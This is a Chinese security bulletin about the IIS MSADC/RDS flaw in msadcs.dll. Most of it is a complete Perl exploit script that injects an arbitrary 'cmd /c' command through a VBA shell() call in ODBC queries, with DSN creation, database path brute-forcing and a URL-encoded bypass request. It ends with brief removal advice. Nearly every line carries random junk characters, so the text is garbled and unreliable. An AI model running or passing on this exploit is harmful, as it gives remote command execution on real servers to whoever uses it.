IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
PqJB&:ZV +6$ |No 涉及程序：
ls9 28 Microsoft NT server
|v6kZ0B< 3m#/1=@o 描述：
^z%ShmM&LZ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
b,tf]Z- DN GXp5I 详细：
qz@k-Jqq
d 如果你没有时间读详细内容的话，就删除:
#BZ2 %\ c:\Program Files\Common Files\System\Msadc\msadcs.dll
?E*;fDEC 有关的安全问题就没有了。
oieJ7\h]m 3;hztCZj 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
hN5?u: m 3 Y@p$i5 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
fQkfU;5 关于利用ODBC远程漏洞的描述，请参看:
L xg,BZV ]"2;x http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm C2[* $ 1U .EF(<JC? 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
[@&0@/s*t' http://www.microsoft.com/security/bulletins/MS99-025faq.asp K|{IX^3)V ? +q(,P@* 这里不再论述。
Wz%b,! R. (fo:ve> 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
0,z3 A>C dx&!RK+ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
P"%QFt, 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
8nj^x?bn sT*D]J
2 :"~SKJm #将下面这段保存为txt文件，然后: "perl -x 文件名"
S /kM # s gGXj7 #!perl
$ \w<.)"# #
<Pm!#)-g9 # MSADC/RDS 'usage' (aka exploit) script
BWWO=N
#
P5K=S.g # by rain.forest.puppy
+}.~" #
vR)f'+_Nz # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
s<XAH7?0 # beta test and find errors!
w!j 'k|b> sMn)[k
vX use Socket; use Getopt::Std;
AVnH|31dC~ getopts("e:vd:h:XR", \%args);
C +m%_6< zFba( "E Z print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
%2;Nj;
J$ +I$,Y~&`> if (!defined $args{h} && !defined $args{R}) {
] VkM)< + print qq~
Xv&&U@7 Usage: msadc.pl -h <host> { -d <delay> -X -v }
(^@rr[. o7 -h <host> = host you want to scan (ip or domain)
d:X@zUR*) -d <seconds> = delay between calls, default 1 second
-91*VBrOd -X = dump Index Server path table, if available
yd|ro G/ -v = verbose
Km )VOX[ZZ -e = external dictionary file for step 5
d $H hb . ^ & Or a -R will resume a command session
I rMUw$ Lhz*o6) ~; exit;}
sc0.!6^'V zJ
$&`= $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
'-l.2IUyT if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
q^ w@l if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
E
xls_oSp if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
}mYxI^n $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
7K 'uNPC if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
;(3!#4`q(] )z^NJ'v4( if (!defined $args{R}){ $ret = &has_msadc;
lZr}F.7 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
8)o%0#;0B hE;|VS do print "Please type the NT commandline you want to run (cmd /c assumed):\n"
cp)BPg . "cmd /c ";
T 2ZB(B D $in=<STDIN>; chomp $in;
Dx5X6 t9= $command="cmd /c " . $in ;
EEn8]qJC @"G+kLv0 if (defined $args{R}) {&load; exit;}
dHsI< :T# ;xl0J*r print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
chE}TK &try_btcustmr;
VrIR!9%: r6Qsh CA" print "\nStep 2: Trying to make our own DSN...";
N;q)[Dr &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
B{lj.S` mB Bc*FH>E print "\nStep 3: Trying known DSNs...";
c<a)Yqf"] &known_dsn;
*yZ `aKfH {zTnE?(o` print "\nStep 4: Trying known .mdbs...";
YZ k.{#^ c &known_mdb;
XkhGU?={ =G9I7Y@ if (defined $args{e}){
FX1H2N( print "\nStep 5: Trying dictionary of DSN names...";
X=KC +1e &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
W8_$]}G8E sx n{uRF print "Sorry Charley...maybe next time?\n";
^?8/9 o exit;
vk4Q2P /U
3Uuk: ##############################################################################
/& W& $3 =S\jyfK sub sendraw { # ripped and modded from whisker
ZYS]Et[Q sleep($delay); # it's a DoS on the server! At least on mine...
|JLX gwML my ($pstr)=@_;
bgYUsc*uR socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
N XCvS0/h die("Socket problems\n");
%6W %-` if(connect(S,pack "SnA4x8",2,80,$target)){
{[)n<.n[g select(S); $|=1;
8Drz
i!} print $pstr; my @in=<S>;
gk mV; 0 select(STDOUT); close(S);
1N} vz(0" return @in;
)`BKEa f } else { die("Can't connect...\n"); }}
p/U{*i ]t ~Z~V:~ ##############################################################################
mIZ6[ ? :2.<JUDM sub make_header { # make the HTTP request
0T7t. my $msadc=<<EOT
Rc vp@ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
)*XD"-9 User-Agent: ACTIVEDATA
v&qL r+_7 Host: $ip
I G Ax+3V Content-Length: $clen
}a% 1$>sj Connection: Keep-Alive
EO`eg] ?2%;VKN4 ADCClientVersion:01.06
a D+4uGN Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
wJZuJ( O.DO,]Uh --!ADM!ROX!YOUR!WORLD!
v`@NwH<r Content-Type: application/x-varg
G*f\
/ Content-Length: $reqlen
P~M[i9 V klR\7+lK EOT
. 1+I8qj ; $msadc=~s/\n/\r\n/g;
+BVY9U?\" return $msadc;}
E/zclD5S A5 T&i] ##############################################################################
'3 b'moy X'88W- sub make_req { # make the RDS request
DNr*|A2< my ($switch, $p1, $p2)=@_;
.JOZ2QWm< my $req=""; my $t1, $t2, $query, $dsn;
oOHY+'V 7`f%?xVn0 if ($switch==1){ # this is the btcustmr.mdb query
Q5b 9q$L$ $query="Select * from Customers where City=" . make_shell();
>xXC=z+g] $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
KM+[1Ze$ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Z (t 7QFd |\W53,n9 elsif ($switch==2){ # this is general make table query
|R2p^!m $query="create table AZZ (B int, C varchar(10))";
pm=m~ $dsn="$p1";}
oY+p;&H N% ?R( elsif ($switch==3){ # this is general exploit table query
_X|prIOb= $query="select * from AZZ where C=" . make_shell();
2EO x],(| $dsn="$p1";}
Z9.0#Jnu :(\JY?+w elsif ($switch==4){ # attempt to hork file info from index server
{_mVfFG $query="select path from scope()";
G
c \^Kg^# $dsn="Provider=MSIDXS;";}
gyb99c,) }<YU4EW elsif ($switch==5){ # bad query
/,_m\ JkwL $query="select";
:dqZM#$d $dsn="$p1";}
\Si p ?q b35 $t1= make_unicode($query);
\,fa"^8 $t2= make_unicode($dsn);
~yt 7L,OQ $req = "\x02\x00\x03\x00";
Cs(sar:7 $req.= "\x08\x00" . pack ("S1", length($t1));
>(-A"j f $req.= "\x00\x00" . $t1 ;
?;y-skh $req.= "\x08\x00" . pack ("S1", length($t2));
>C19Kie72 $req.= "\x00\x00" . $t2 ;
]}kw'& $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
*7E#=xb return $req;}
8{i
O#C I(Z\ $ ##############################################################################
zu.B>INe )Gm9x]SVl sub make_shell { # this makes the shell() statement
14"+ctq return "'|shell(\"$command\")|'";}
+4
h!;i i)'tt9f$ ##############################################################################
p="0Y<2l J?dLI_{ < sub make_unicode { # quick little function to convert to unicode
! Sw=ns7 my ($in)=@_; my $out;
OIJT~Z} for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
v$D U
q+ return $out;}
x5 CM P%}d 51`&%V{daL ##############################################################################
}h=PW'M{ M\/hK2J# # sub rdo_success { # checks for RDO return success (this is kludge)
]B UirJ,2 my (@in) = @_; my $base=content_start(@in);
eXMIRus( if($in[$base]=~/multipart\/mixed/){
=7JSJ98 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
x. #E3xI return 0;}
q Y$ [2] NYr)=&)Ke. ##############################################################################
*FktI\tS EK5$z>k>m sub make_dsn { # this makes a DSN for us
0>8w On my @drives=("c","d","e","f");
B;?)X&n|X print "\nMaking DSN: ";
/y$ Fw9R; foreach $drive (@drives) {
b*.aaOb print "$drive: ";
6UqAs<c9 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
vJaWHC$q "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
h=0a9vIXF . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
P %)r4+at $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
6Iqy"MQuq return 0 if $2 eq "404"; # not found/doesn't exist
pr,,E[ if($2 eq "200") {
|1 "&[ . foreach $line (@results) {
EG `6T return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
k#zDY*kj } return 0;}
;Y[D#Ja- ^~.AV]t| ##############################################################################
lOp. c U E]rXp~AZm sub verify_exists {
u5Vgi0}A my ($page)=@_;
TIxOMY y my @results=sendraw("GET $page HTTP/1.0\n\n");
bD0l^?Hu! return $results[0];}
rVqQ o` K\ j<P;: ##############################################################################
bY2R/FNL= W} i6{ Vh sub try_btcustmr {
F_ (~b my @drives=("c","d","e","f");
tc0;Ake-& my @dirs=("winnt","winnt35","winnt351","win","windows");
q~b# ml2QS ":8\2Qp foreach $dir (@dirs) {
2
4+ print "$dir -> "; # fun status so you can see progress
^8;MY5Wbs foreach $drive (@drives) {
#|ts1lD#ah print "$drive: "; # ditto
@ <{%r $reqlen=length( make_req(1,$drive,$dir) ) - 28;
B=r DU$z $reqlenlen=length( "$reqlen" );
^hiY6N & $clen= 206 + $reqlenlen + $reqlen;
KCW2
UyE] Q(]m 1\a my @results=sendraw(make_header() . make_req(1,$drive,$dir));
xy]O8> b if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
~t~[@2?WG else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
p X{wEc6 } jwT` Z ##############################################################################
gDVsi Q{|%kU" sub odbc_error {
yAryw{( my (@in)=@_; my $base;
H oABo: my $base = content_start(@in);
Ig t*8px if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
C[<}eD4bV $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{KNaJ/:>W $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
%*}rLn"? $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Yr/$92( return $in[$base+4].$in[$base+5].$in[$base+6];}
Jgv Mx print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
7%i'F=LzT print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
hq vhnqQk $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
X7huc * $C;i}q# ##############################################################################
b^Z2Vf:k] G;}WZy sub verbose {
hH N[K my ($in)=@_;
?@9v+Am! return if !$verbose;
6X*vCylI print STDOUT "\n$in\n";}
s|e.mZk/ ud r\\5 ##############################################################################
Yi%lWbr h(HpeN%`# sub save {
x*7A33 @i my ($p1, $p2, $p3, $p4)=@_;
"-$}GUK?Z open(OUT, ">rds.save") || print "Problem saving parameters...\n";
.Qx5,)@9 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
M5ZH6X@5 close OUT;}
U
L
$! q4[}b-fF ##############################################################################
UeO/<ml3>J VKDOM0{V sub load {
j|[rT^b@ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
9?H$0xZV open(IN,"<rds.save") || die("Couldn't open rds.save\n");
;
R}>SS' @p=<IN>; close(IN);
^)~S mj^d $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
`!vqT 3p, $target= inet_aton($ip) || die("inet_aton problems");
`FPQ Oa*%3 print "Resuming to $ip ...";
5G}4z>-]F) $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
}ouGxs+^[ if($p[1]==1) {
{&n- @$? $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
zsXgpnlHT $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
F<,pAxl~@ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
3p=Xv%xd if (rdo_success(@results)){print "Success!\n";}
E:x@O8F else { print "failed\n"; verbose(odbc_error(@results));}}
g:M;S"U3*Y elsif ($p[1]==3){
?Fl}@EA#M if(run_query("$p[3]")){
n?fy@R print "Success!\n";} else { print "failed\n"; }}
R%WY!I8C elsif ($p[1]==4){
KMj\A
d if(run_query($drvst . "$p[3]")){
}#FV{C] print "Success!\n"; } else { print "failed\n"; }}
v`Jt+?I exit;}
wHj 1+W $&as5z8 ##############################################################################
o1ZVEvp %^@l5h.lqB sub create_table {
tTy !o= my ($in)=@_;
5v)^4(
) $reqlen=length( make_req(2,$in,"") ) - 28;
V1]GOmXz $reqlenlen=length( "$reqlen" );
r >'tE7W9 $clen= 206 + $reqlenlen + $reqlen;
o}v<~v( my @results=sendraw(make_header() . make_req(2,$in,""));
<a"(B*bBd return 1 if rdo_success(@results);
U3{<+vSR` my $temp= odbc_error(@results); verbose($temp);
Z< i }XCE return 1 if $temp=~/Table 'AZZ' already exists/;
v0\l~_|H return 0;}
{$z54nvw$ 1%+-}yo< ##############################################################################
qS vV |G qLmzA@Cv sub known_dsn {
m
!*F5x # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
BYq80Vk%@ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
=y][j+WH "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
}=/zG!+ "banner", "banners", "ads", "ADCDemo", "ADCTest");
@:}c(j y(J~:"}7) foreach $dSn (@dsns) {
V'&;r'#O print ".";
lny b4d/ next if (!is_access("DSN=$dSn"));
eM<N? 9 s if(create_table("DSN=$dSn")){
D.a>i?W print "$dSn successful\n";
=\O#F88ui if(run_query("DSN=$dSn")){
-{\(s=% print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
#%" G[B print "Something's borked. Use verbose next time\n";}}} print "\n";}
Zk=,`sBC kEDpF26! ##############################################################################
duG3-E ..} P$ sub is_access {
y!=,u my ($in)=@_;
7[1Lh'u $reqlen=length( make_req(5,$in,"") ) - 28;
lp
*GJP]T $reqlenlen=length( "$reqlen" );
/}m)FaAi $clen= 206 + $reqlenlen + $reqlen;
Kv|
x
-_7 my @results=sendraw(make_header() . make_req(5,$in,""));
0SI@`C*1o my $temp= odbc_error(@results);
q 6> eb verbose($temp); return 1 if ($temp=~/Microsoft Access/);
L
BbST! return 0;}
"N}t =3i$ #d@wjQ0DW ##############################################################################
2<@2_wS J 3ay},3MCV% sub run_query {
?@rd,:'dE my ($in)=@_;
i(j / C $reqlen=length( make_req(3,$in,"") ) - 28;
9^}&PEl $reqlenlen=length( "$reqlen" );
v $]B;;[A $clen= 206 + $reqlenlen + $reqlen;
hp~q!Q1= my @results=sendraw(make_header() . make_req(3,$in,""));
c U6*y!}9 return 1 if rdo_success(@results);
B]X8KzLu my $temp= odbc_error(@results); verbose($temp);
pa!BJ]~ return 0;}
%+~\I\)1 z5jw\jBD ##############################################################################
v)+g<! bXs=<`> sub known_mdb {
$%~ JG ( my @drives=("c","d","e","f","g");
no*) M7 my @dirs=("winnt","winnt35","winnt351","win","windows");
~&<#H+O my $dir, $drive, $mdb;
4CM'I~ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
RCWmdR#}V )pHtsd. eP # this is sparse, because I don't know of many
1{a%V$S[ my @sysmdbs=( "\\catroot\\icatalog.mdb",
DG;7+ 2U "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
C8-7XQ=B:b "\\system32\\certmdb.mdb",
oai=1vt@
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
|oPRP1F-;e N9w"Lb my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
36=aahXd\ "\\cfusion\\cfapps\\forums\\forums_.mdb",
(uC8M,I\ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
pQiC#4b "\\cfusion\\cfapps\\security\\realm_.mdb",
]DNPG" "\\cfusion\\cfapps\\security\\data\\realm.mdb",
]}v]j`9m% "\\cfusion\\database\\cfexamples.mdb",
bIU.C|h@ "\\cfusion\\database\\cfsnippets.mdb",
p [Po*c.b "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
y#GHmHeh "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
OH
t)z.
"\\cfusion\\brighttiger\\database\\cleam.mdb",
i\sBey ND" "\\cfusion\\database\\smpolicy.mdb",
>bW=oTFz "\\cfusion\\database\cypress.mdb",
QHNyH "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
~[%CUc" "\\website\\cgi-win\\dbsample.mdb",
)]P(!hW. "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
b > D "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
uVEJV |^/ ); #these are just
27SHj9I foreach $drive (@drives) {
yx]9rD1cz foreach $dir (@dirs){
P{o)Ir8Tt foreach $mdb (@sysmdbs) {
^QS`H@+Z print ".";
l)NkTZ<] if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
+M-tYE
5n print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
`\UY5 n72 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
DPI[~ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
zZ%[SW&vC } else { print "Something's borked. Use verbose next time\n"; }}}}}
tj13!Cc}e` ,:t,$ A foreach $drive (@drives) {
^^b'tP1> foreach $mdb (@mdbs) {
7a"06Et^ print ".";
PeJ#9hI~rQ if(create_table($drv . $drive . $dir . $mdb)){
n j s: print "\n" . $drive . $dir . $mdb . " successful\n";
dxX` \{E if(run_query($drv . $drive . $dir . $mdb)){
]rv\sD`[ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
! 6(3Y } else { print "Something's borked. Use verbose next time\n"; }}}}
qZd*'ki< }
`Z;Z ^c '[ #y| ##############################################################################
u9"=t 7P< Vt S sub hork_idx {
h&'|^;FM print "\nAttempting to dump Index Server tables...\n";
l'"nU6B& print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
>Z!!` 0{ $reqlen=length( make_req(4,"","") ) - 28;
w M VUTm $reqlenlen=length( "$reqlen" );
3x;UAi+& $clen= 206 + $reqlenlen + $reqlen;
gv`_+E{P my @results=sendraw2(make_header() . make_req(4,"",""));
9S%5 Z> if (rdo_success(@results)){
So 1TH% my $max=@results; my $c; my %d;
`58% &3lp for($c=19; $c<$max; $c++){
Yz/Blh%V $results[$c]=~s/\x00//g;
^\ [p6> $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
l eC!Yj $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
R/~ !km $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
t.(
`$ $d{"$1$2"}="";}
n#">k%bD foreach $c (keys %d){ print "$c\n"; }
E; a,]. } else {print "Index server doesn't seem to be installed.\n"; }}
T~E;@weR "
aG6u^ % ##############################################################################
( c s >?@5> wF sub dsn_dict {
NW[K/`-CTH open(IN, "<$args{e}") || die("Can't open external dictionary\n");
0"R>: f} while(<IN>){
DsMo_m/"1 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
JR] 2Ray next if (!is_access("DSN=$dSn"));
aF
2vgE\ if(create_table("DSN=$dSn")){
lx+;<la print "$dSn successful\n";
H,% bKl# if(run_query("DSN=$dSn")){
;oOTL'Vu print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
4t[7 lL`Z print "Something's borked. Use verbose next time\n";}}}
U6&`s%mIa print "\n"; close(IN);}
,iyy2 tc'iKJ5) ##############################################################################
:H&Q!\a uz!8=,DFw sub sendraw2 { # ripped and modded from whisker
({E,}x sleep($delay); # it's a DoS on the server! At least on mine...
u !BU^@ P my ($pstr)=@_;
rCw 4a?YS socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
6BV 6<PHJ die("Socket problems\n");
g4Z Uh@b~ if(connect(S,pack "SnA4x8",2,80,$target)){
FsED 9+/m print "Connected. Getting data";
!/p|~K open(OUT,">raw.out"); my @in;
)J 'F]s select(S); $|=1; print $pstr;
lq9|tt6 Z while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
nq!=9r close(OUT); select(STDOUT); close(S); return @in;
eke [{%L } else { die("Can't connect...\n"); }}
+
+L7*1t i6#*y!3{ ##############################################################################
: TT q
1X)#iY sub content_start { # this will take in the server headers
Tksv7*5$ my (@in)=@_; my $c;
ZH
Q?{" for ($c=1;$c<500;$c++) {
')q0VaohC if($in[$c] =~/^\x0d\x0a/){
NZ1B#PG,c if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
{bXN[=j else { return $c+1; }}}
q1VKoKb6\: return -1;} # it should never get here actually
T ~xVHk1 (u 7Lh>6% ##############################################################################
6y^
zC? \Eh5g/,[ sub funky {
+ay C 0 my (@in)=@_; my $error=odbc_error(@in);
LaJvPOQ if($error=~/ADO could not find the specified provider/){
J2Dn print "\nServer returned an ADO miscofiguration message\nAborting.\n";
@(#vg\UH exit;}
U,U=udsi if($error=~/A Handler is required/){
g kmof^ print "\nServer has custom handler filters (they most likely are patched)\n";
WR #XPbk exit;}
lR %#R if($error=~/specified Handler has denied Access/){
&4OJJ9S print "\nServer has custom handler filters (they most likely are patched)\n";
Ar>B _*dr exit;}}
7]rIq\bM nFlN {_/ ##############################################################################
fK7
?"^`/ xo@1((|z sub has_msadc {
hF-Q bO my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
KiXfR\S~C my $base=content_start(@results);
4 ?BQ&d return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
eX" %b(;s return 0;}
"_UnN}Uk j/TnKO ########################
z-
q.8~Z |cC3L09 o+|>D&CW% 解决方案：
{qw'gJmX 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
/kGWd9ujF 2、移除web 目录: /msadc
